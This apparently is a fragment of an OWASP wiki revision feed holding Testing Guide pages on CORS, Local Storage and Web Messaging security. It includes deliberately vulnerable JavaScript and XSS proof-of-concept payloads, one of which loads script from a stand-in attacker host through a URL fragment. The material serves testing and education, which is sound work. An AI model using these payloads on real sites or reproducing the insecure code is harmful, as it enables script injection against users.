User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164677</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164677"/>
				<updated>2013-12-15T17:39:25Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: changed black box/gray box testing and example&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
&lt;br /&gt;
Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).&lt;br /&gt;
There are two objects, localStorage that is persistent and sessionStorage that is temporary. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data store in these two objects is stored in the client and never sent to the server.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
=== localStorage ===&lt;br /&gt;
&lt;br /&gt;
Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.&lt;br /&gt;
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.&lt;br /&gt;
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the  same  storage.&lt;br /&gt;
&lt;br /&gt;
Data stored in this object will persist until the window is closed, it is a bad idea to store sensitive data on this object or session indentifiers as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sessionStorage ===&lt;br /&gt;
&lt;br /&gt;
Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.&lt;br /&gt;
It shares most of the properties and the getItem/setItem methods, so we will look for these identifiers in the code to check where in the code the storage is accesed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Example 1: Access to localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Access to every element in localStorage with JavaScript:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
for(var i=0; i&amp;lt;localStorage.length; i++) {                                               &lt;br /&gt;
        console.log(localStorage.key(i), &amp;quot; = &amp;quot;, localStorage.getItem(localStorage.key(i)));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
same code can be applied to sessionStorage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Google Chrome, click on menu -&amp;gt; Tools -&amp;gt; Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'&lt;br /&gt;
&lt;br /&gt;
[[File:storage-chrome.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Firefox and the addon Firebug you can inspect easily inspect the localStorage/sessionStorage object in the DOM tab&lt;br /&gt;
&lt;br /&gt;
[[File:storage-firefox.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, we can inspect these objects from the developer tools of our browser.&lt;br /&gt;
&lt;br /&gt;
'''Example 2: XSS in localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure assignment from localStorage can lead to XSS&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function action(){&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;item&amp;quot;,resource);&lt;br /&gt;
&lt;br /&gt;
item = localStorage.getItem(&amp;quot;item&amp;quot;);&lt;br /&gt;
document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=item;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body onload=&amp;quot;action()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
URL PoC:&lt;br /&gt;
&lt;br /&gt;
http://server/StoragePOC.html#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Storage-xss.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Tools &lt;br /&gt;
* '''Firebug''' -  http://getfirebug.com/&lt;br /&gt;
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/&lt;br /&gt;
...&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164676</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164676"/>
				<updated>2013-12-15T17:38:25Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: changed black box/gray box testing and example&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&lt;br /&gt;
data: The content of the incoming message&lt;br /&gt;
origin: The origin of the sender document.&lt;br /&gt;
source: source window&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Access needed for every subdomain (www, chat, forums, ...)&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: XSS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          &amp;lt;b&amp;gt;element.innerHTML= e.data;&amp;lt;/b&amp;gt;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164675</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164675"/>
				<updated>2013-12-15T17:37:19Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: changed black box/gray box testing and example&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for find issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164667</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164667"/>
				<updated>2013-12-14T23:59:26Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: link added&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
